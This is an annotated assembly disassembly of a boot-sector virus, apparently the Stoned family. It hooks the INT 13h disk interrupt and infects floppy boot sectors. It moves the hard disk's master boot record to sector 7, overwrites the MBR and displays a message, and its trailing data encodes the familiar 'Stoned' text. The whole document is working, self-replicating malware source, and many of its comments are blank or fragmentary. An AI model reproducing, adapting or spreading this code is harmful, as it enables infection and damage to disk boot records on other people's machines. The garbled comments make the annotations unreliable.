		jmp	far ptr loc_2		;*(07C0:0005)
		jmp	loc_8			; (00A1)
data_27 	db	0
data_28 	dd	0F000EC59h
data_29 	dd	9F8000E4h
data_30 	dd	07C00h

;-----------------------------------------------------------------------------
;		    INT 13h
;-----------------------------------------------------------------------------

		push	ds
		push	ax
		cmp	ah,2			;    - 
		jb	loc_3			; 2  -  
		cmp	ah,4			;  4   INT 13h
		jae	loc_3
		or	dl,dl			;   A ?
		jnz	loc_3
		xor	ax,ax			; Zero register
		mov	ds,ax
		mov	al,byte ptr ds:[43Fh]	;    
		test	al,1			; A  
		jnz	loc_3			; Jump if not zero
		call	sub_1			;   
loc_3:
		pop	ax
		pop	ds
		jmp	cs:data_28		; (6B8E:0009=0EC59h)

;
;			       SUBROUTINE
;

sub_1		proc	near
		push	bx
		push	cx
		push	dx			;  
		push	es
		push	si
		push	di
		mov	si,4
loc_4:
		mov	ax,201h
		push	cs
		pop	es
		mov	bx,200h
		xor	cx,cx			; Zero register
		mov	dx,cx
		inc	cx
		pushf
		call	cs:data_28		;  BOOT 
		jnc	loc_5			; Jump if carry=0
		xor	ax,ax			;   
		pushf				; 
		call	cs:data_28		; (6B8E:0009=0EC59h)
		dec	si
		jnz	loc_4			;  4 
		jmp	short loc_7		; 
		nop
loc_5:
		xor	si,si			; Zero register
		mov	di,200h
		cld				; Clear direction
		push	cs
		pop	ds
		lodsw				;    
		cmp	ax,[di] 		;  
		jne	loc_6
		lodsw
		cmp	ax,[di+2]
		je	loc_7			;   
loc_6:
		mov	ax,301h
		mov	bx,200h 		;  BOOT
		mov	cl,3
		mov	dh,1
		pushf
		call	cs:data_28
		jc	loc_7			; Jump if carry Set
		mov	ax,301h
		xor	bx,bx			;  
		mov	cl,1
		xor	dx,dx
		pushf
		call	cs:data_28
loc_7:
		pop	di
		pop	si
		pop	es			;  
		pop	dx
		pop	cx
		pop	bx
		retn
sub_1		endp

loc_8:
		xor	ax,ax			; Zero register
		mov	ds,ax
		cli				; Disable interrupts
		mov	ss,ax
		mov	sp,7C00h
		sti				;
		mov	ax,word ptr ds:[4Ch]	;   AX   INT 13H
		mov	word ptr ds:[7C09h],ax	;     9h
		mov	ax,word ptr ds:[4Eh]	;    INT 13H
		mov	word ptr ds:[7C0Bh],ax	;     Bh
		mov	ax,word ptr ds:[413h]	;     1K
		dec	ax
		dec	ax
		mov	word ptr ds:[413h],ax
		mov	cl,6
		shl	ax,cl
		mov	es,ax			;   ES - 
		mov	word ptr ds:[7C0Fh],ax	;    
		mov	ax,15h
		mov	word ptr ds:[4Ch],ax	; INT 13H   15H 
		mov	word ptr ds:[4Eh],es	;  
		mov	cx,1B8h
		push	cs			;CS = 7C0h = DS
		pop	ds
		xor	si,si
		mov	di,si
		cld
		rep	movsb			;  1B8h 
		jmp	cs:data_29		;    
		mov	ax,0
		int	13h			;  

		xor	ax,ax			; Zero register
		mov	es,ax			; ES = AX = 00h
		mov	ax,201h 		;   
		mov	bx,7C00h		;   BOOT
		cmp	cs:data_27,0		;    
		je	loc_9			;   Flopy disk
		mov	cx,7
		mov	dx,80h
		int	13h			;  BOOT

		jmp	short loc_12		; (014E)
		nop
loc_9:
		mov	cx,3
		mov	dx,100h
		int	13h			;  BOOT

		jc	loc_12			; Jump if carry Set
		test	byte ptr es:[46Ch],7	;    
		jnz	loc_11			; 
		mov	si,189h 		;
		push	cs
		pop	ds
loc_10:
		lodsb				;    
		or	al,al
		jz	loc_11			;      
		mov	ah,0Eh
		mov	bh,0
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		jmp	short loc_10		; (011D)
loc_11:
		push	cs
		pop	es
		mov	ax,201h 		;       
		mov	bx,200h 		;    
		mov	cl,1			;  200h
		mov	dx,80h
		int	13h			; Disk	dl=drive #: ah=func a2h
						;  read sectors to memory es:bx
		jc	loc_12			;   ? -> 
		push	cs
		pop	ds
		mov	si,200h
		mov	di,0
		lodsw				;     
		cmp	ax,[di] 		;  
		jne	loc_13			;     
		lodsw
		cmp	ax,[di+2]
		jne	loc_13
loc_12:
		mov	cs:data_27,0		; (6B8E:0008=0)
		jmp	cs:data_30		;  BOOT
loc_13:
		mov	cs:data_27,2		;    
		mov	ax,301h
		mov	bx,200h 		;  BOOT   7
		mov	cx,7			;  0
		mov	dx,80h
		int	13h

		jc	loc_12			;    BOOT
		push	cs
		pop	ds
		push	cs
		pop	es
		mov	si,3BEh 		 ;  partition table
		mov	di,1BEh
		mov	cx,242h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]

		mov	ax,301h
		xor	bx,bx			;   
		inc	cl
		int	13h			; Disk	dl=drive #: ah=func a3h
						;  write sectors from mem es:bx
		jmp	short loc_12		;    BOOT

;------------------------------------------------------------------------------------------
;			    
;------------------------------------------------------------------------------------------

		pop	es
		pop	cx
		db	6Fh
		jnz	$+74h			; Jump if not zero
		and	[bx+si+43h],dl
		and	[bx+di+73h],ch
		and	[bp+6Fh],ch
		ja	$+22h			; Jump if above
		push	bx
		jz	$+71h			; Jump if zero
		db	6Eh
		db	65h
		db	64h
		and	[bx],ax
		or	ax,0A0Ah
		add	[si+45h],cl
		inc	di
		inc	cx
		dec	sp
		dec	cx
		push	bx
		inc	bp
		xor	al,[bx+di]
		add	al,32h			; '2'
		add	word ptr ds:[0B00h][bx+si],ax	; (6B7E:0B00=0)
		add	ax,132h
		db	72 dup (0)
